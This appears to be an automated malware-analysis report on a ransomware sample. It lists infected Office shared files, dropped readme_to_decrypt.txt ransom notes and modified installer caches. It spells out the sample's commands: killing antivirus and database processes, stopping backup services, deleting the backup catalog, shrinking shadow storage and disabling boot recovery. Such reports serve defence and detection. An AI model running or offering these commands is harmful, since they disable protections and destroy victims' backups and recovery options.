Technical Information
To ensure autorun and distribution
Infects the following executable files
- %CommonProgramFiles%\designer\msaddndr.dll
- %CommonProgramFiles%\microsoft shared\smart tag\1033\stintl.dll.idx_dll
- %CommonProgramFiles%\microsoft shared\smart tag\1033\stintl.dll
- %CommonProgramFiles%\microsoft shared\proof\mslid.dll
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\osppsvc.exe
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\osppwmi.dll
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\osppobjs.dll
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\ospprearm.exe
- %CommonProgramFiles%\microsoft shared\office14\wisc30.dll
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\osppcext.dll
- %CommonProgramFiles%\microsoft shared\office14\vbajet32.dll
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\osppc.dll
- %CommonProgramFiles%\microsoft shared\office14\usp10.dll
- %CommonProgramFiles%\microsoft shared\office14\riched20.dll
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\office.en-us\osetupui.dll
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\office.en-us\branding.dll
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\osetup.dll
- %CommonProgramFiles%\microsoft shared\office14\optinps.dll
- %CommonProgramFiles%\microsoft shared\office14\ophproxy.dll
- %CommonProgramFiles%\microsoft shared\office14\offrel.dll
- %CommonProgramFiles%\microsoft shared\office14\mssoap30.dll
- %CommonProgramFiles%\microsoft shared\office14\muoptin.dll
- %CommonProgramFiles%\microsoft shared\office14\msoxmlmf.dll
- %CommonProgramFiles%\microsoft shared\office14\msptls.dll
- %CommonProgramFiles%\microsoft shared\smart tag\fdate.dll
- %CommonProgramFiles%\microsoft shared\smart tag\fperson.dll
- %CommonProgramFiles%\microsoft shared\web server extensions\14\bin\fpwec.dll
- %CommonProgramFiles%\microsoft shared\smart tag\fplace.dll
- %CommonProgramFiles%\microsoft shared\web folders\1033\msosvint.dll
- %CommonProgramFiles%\microsoft shared\web folders\msosv.dll
- %CommonProgramFiles%\microsoft shared\vsto\vstoee90.tlb
- %CommonProgramFiles%\microsoft shared\vsto\vstoee100.tlb
- %CommonProgramFiles%\microsoft shared\vba\vba7\vbe7.dll
- %CommonProgramFiles%\microsoft shared\vba\vba7\1033\vbe7intl.dll
- %CommonProgramFiles%\microsoft shared\textconv\wks9pxy.cnv
- %CommonProgramFiles%\microsoft shared\textconv\wpft532.cnv
- %CommonProgramFiles%\microsoft shared\textconv\wpft632.cnv
- %CommonProgramFiles%\microsoft shared\textconv\msconv97.dll
- %CommonProgramFiles%\microsoft shared\textconv\recovr32.cnv
- %CommonProgramFiles%\microsoft shared\translat\msb1xtor.dll
- %CommonProgramFiles%\microsoft shared\translat\wtsp61ms.dll
- %CommonProgramFiles%\microsoft shared\translat\msb1core.dll
- %CommonProgramFiles%\microsoft shared\translat\msb1star.dll
- %CommonProgramFiles%\microsoft shared\translat\fren\msb1fren.dll
- %CommonProgramFiles%\microsoft shared\translat\esen\msb1esen.dll
- %CommonProgramFiles%\microsoft shared\source engine\ose.exe
- %CommonProgramFiles%\microsoft shared\smart tag\mofl.dll
- %CommonProgramFiles%\microsoft shared\smart tag\metconv.dll
- %CommonProgramFiles%\microsoft shared\smart tag\imcontact.dll
- %CommonProgramFiles%\microsoft shared\smart tag\ietag.dll
- %CommonProgramFiles%\microsoft shared\smart tag\fstock.dll
- %CommonProgramFiles%\microsoft shared\office14\msoxmled.exe
- %CommonProgramFiles%\microsoft shared\smart tag\fbiblio.dll
- %CommonProgramFiles%\microsoft shared\office14\msoxev.dll
- %CommonProgramFiles%\microsoft shared\office14\1033\msointl.dll
- %CommonProgramFiles%\microsoft shared\office14\1033\mssoapr3.dll
- %CommonProgramFiles%\microsoft shared\office14\1033\msointl.rest.idx_dll
- %CommonProgramFiles%\microsoft shared\office14\1033\msointl.dll.idx_dll
- %CommonProgramFiles%\microsoft shared\office14\1033\alrtintl.dll
- %CommonProgramFiles%\microsoft shared\office14\1033\acewstr.dll
- %CommonProgramFiles%\microsoft shared\office14\1033\acerecr.dll
- %CommonProgramFiles%\microsoft shared\office14\1033\aceintl.dll
- %CommonProgramFiles%\microsoft shared\office14\1033\aceodbci.dll
- %CommonProgramFiles%\microsoft shared\msclientdatamgr\mscdm.dll
- %CommonProgramFiles%\microsoft shared\help\itircl55.dll
- %CommonProgramFiles%\microsoft shared\grphflt\wpgimp32.flt
- %CommonProgramFiles%\microsoft shared\grphflt\pictim32.flt
- %CommonProgramFiles%\microsoft shared\grphflt\png32.flt
- %CommonProgramFiles%\microsoft shared\grphflt\jpegim32.flt
- %CommonProgramFiles%\microsoft shared\grphflt\gifimp32.flt
- %CommonProgramFiles%\microsoft shared\grphflt\epsimp32.flt
- %CommonProgramFiles%\microsoft shared\grphflt\cgmimp32.flt
- %CommonProgramFiles%\microsoft shared\euro\msoeuro.dll
- %CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe
- %CommonProgramFiles%\microsoft shared\equation\1033\eeintl.dll
- %CommonProgramFiles%\microsoft shared\dw\dbghelp.dll
- %CommonProgramFiles%\microsoft shared\dw\dwtrig20.exe
- %CommonProgramFiles%\microsoft shared\dw\dw20.exe
- %CommonProgramFiles%\microsoft shared\office14\1033\oarpmanr.dll
- %CommonProgramFiles%\microsoft shared\office14\acecore.dll
- %CommonProgramFiles%\microsoft shared\office14\msoicons.exe
- %CommonProgramFiles%\microsoft shared\office14\aceerr.dll
- %CommonProgramFiles%\microsoft shared\office14\iacom2.dll
- %CommonProgramFiles%\microsoft shared\office14\mso.dll
- %CommonProgramFiles%\microsoft shared\office14\fltldr.exe
- %CommonProgramFiles%\microsoft shared\office14\liclua.exe
- %CommonProgramFiles%\microsoft shared\office14\exp_xps.dll
- %CommonProgramFiles%\microsoft shared\office14\exp_pdf.dll
- %CommonProgramFiles%\microsoft shared\office14\acexbe.dll
- %CommonProgramFiles%\microsoft shared\office14\expsrv.dll
- %CommonProgramFiles%\microsoft shared\office14\acewss.dll
- %CommonProgramFiles%\microsoft shared\office14\acetxt.dll
- %CommonProgramFiles%\microsoft shared\office14\acewdat.dll
- %CommonProgramFiles%\microsoft shared\office14\acerep.dll
- %CommonProgramFiles%\microsoft shared\office14\acerclr.dll
- %CommonProgramFiles%\microsoft shared\office14\aceoledb.dll
- %CommonProgramFiles%\microsoft shared\office14\acer3x.dll
- %CommonProgramFiles%\microsoft shared\office14\aceodtxt.dll
- %CommonProgramFiles%\microsoft shared\office14\aceodexl.dll
- %CommonProgramFiles%\microsoft shared\office14\aceoddbs.dll
- %CommonProgramFiles%\microsoft shared\office14\aceodbc.dll
- %CommonProgramFiles%\microsoft shared\office14\acees.dll
- %CommonProgramFiles%\microsoft shared\office14\aceexcl.dll
- %CommonProgramFiles%\microsoft shared\office14\aceexch.dll
- %CommonProgramFiles%\microsoft shared\office14\acedao.dll
- %CommonProgramFiles%\microsoft shared\office14\msores.dll
- %CommonProgramFiles%\microsoft shared\web server extensions\14\bin\fpsrvutl.dll
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im tmwscsvc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im SupportConnector.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im CETASvc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im ResponseService.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im powerpnt.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im PccNTMon.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im iVPAgent.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im vastsvc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im KasperskyService.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im NortonSecurity.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im McAfeeFramework.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im SophosSAU.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im AOTAgent.exe
- '%WINDIR%\syswow64\net.exe' stop iVPAgent /y
- '%WINDIR%\syswow64\net.exe' stop Tmccst /y
Launches a large number of processes
Modifies file system
Creates the following files
- C:\msocache\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\sonora\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\spring\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\strtedge\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\studio\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\sumipntg\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\water\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\sky\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\slate\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\watermar\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\translat\enes\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\translat\enfr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\translat\esen\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\translat\frar\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\translat\fren\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\textconv\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\translat\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\translat\arfr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\triedit\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\textconv\en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\ripple\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\ice\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\indust\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\iris\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\journal\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\layers\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\rmnsque\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\evrgreen\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\satin\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\level\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\profile\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\quad\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\radial\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\refined\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\ricepapr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\network\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\papyrus\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\pixel\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\access.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\triedit\en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\et-ee\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fi-fi\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fr-fr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\auxpad\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\el-gr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\keypad\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\es-es\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\numbers\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\osknumpad\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\oskpred\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\symbols\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\web\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\he-il\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\main\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\de-de\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\fsdefinitions\oskmenu\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\da-dk\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\cs-cz\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vba\vba7\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vc\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vgx\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vsto\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vsto\10.0\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vsto\10.0\1033\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\web folders\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\web folders\1033\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vba\vba7\1033\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\web server extensions\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\web server extensions\14\bin\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\web server extensions\14\bin\1033\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\hwrcustomization\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\ar-sa\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\bg-bg\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\edge\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\web server extensions\14\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\expeditn\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\eclipse\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\echo\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\deepblue\readme_to_decrypt.txt
- %CommonProgramFiles%\designer\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\dw\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\equation\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\equation\1033\readme_to_decrypt.txt
- C:\perflogs\admin\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\euro\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\msclientdatamgr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\msinfo\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\msinfo\en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\1033\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\filters\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\grphflt\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\help\readme_to_decrypt.txt
- C:\perflogs\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\cultures\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0016-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.fr\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0043-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\readme_to_decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.es\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\hr-hr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\vba\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\infopath.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\aftrnoon\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\arctic\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\axis\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\blends\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\smart tag\lists\1033\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\bluecalm\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\stationery\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\boldstri\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\canyon\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\capsules\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\cascade\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\compass\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\concrete\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\blueprnt\readme_to_decrypt.txt
- %ProgramFiles%\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\themes14\breeze\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\source engine\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\smart tag\lists\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\smart tag\1033\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\office.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\office32.ww\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\office32.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\onenote.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\outlook.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\proplus\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\groove.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\powerpoint.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\proof.es\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\proof.fr\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\proofing.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\publisher.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\word.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\proof\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\proof.en\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\smart tag\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\office14\office setup controller\excel.en-us\readme_to_decrypt.txt
- %CommonProgramFiles%\microsoft shared\ink\hu-hu\readme_to_decrypt.txt
Modifies the following files
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\owow32ww.cab
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.fr\proof.xml
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proofing.xml
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.es\proof.xml
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.es\proof.cab
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\proof.cab
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\proof.xml
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\setup.xml
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\outlklr.cab
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\wordmui.xml
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\wordlr.cab
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\outlookmui.xml
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\setup.xml
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\pptlr.cab
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\publishermui.xml
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\publr.cab
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\setup.xml
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\powerpointmui.xml
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\setup.xml
- C:\msocache\all users\{90140000-0016-0409-1000-0000000ff1ce}-c\excellr.cab
- C:\msocache\all users\{90140000-0016-0409-1000-0000000ff1ce}-c\setup.xml
- C:\msocache\all users\{90140000-0016-0409-1000-0000000ff1ce}-c\excelmui.xml
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\pkeyconfig-office.xrm-ms
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\propsww.cab
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\setup.xml
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\proplusww.xml
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\propsww2.cab
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\office32ww.xml
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\setup.xml
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.fr\proof.cab
Modifies multiple files.
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c "wbadmin delete catalog -quiet"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Oracle.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Synctime.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop GxCVD /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Web Service Communicator /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Ntrtscan /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im avgsvc.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Ocssd.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Avast Antivirus! /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Sqbcoreservice.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Sql /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Tmccst /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im AOTAgent.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop GxVss /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Mydesktopqos.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Dbnmp.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop GxBlr /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop TmWSCSvc /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Backup /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Vss Sophos /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Memtas /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop BackupExecAgentBrowser /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Svc$ /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Msexchange /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop TMResponse /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Tbirdconfig.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Sql.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Steam.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Dbeng50.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop TMBMServer /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Trend Micro /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Ocomm.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Mepo /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Tmlisten /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop AOTAgentSvc /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im PccNTMon.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im iVPAgent.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} recoveryenabled No"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im ResponseService.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im tmwscsvc.exe"' (with hidden window)
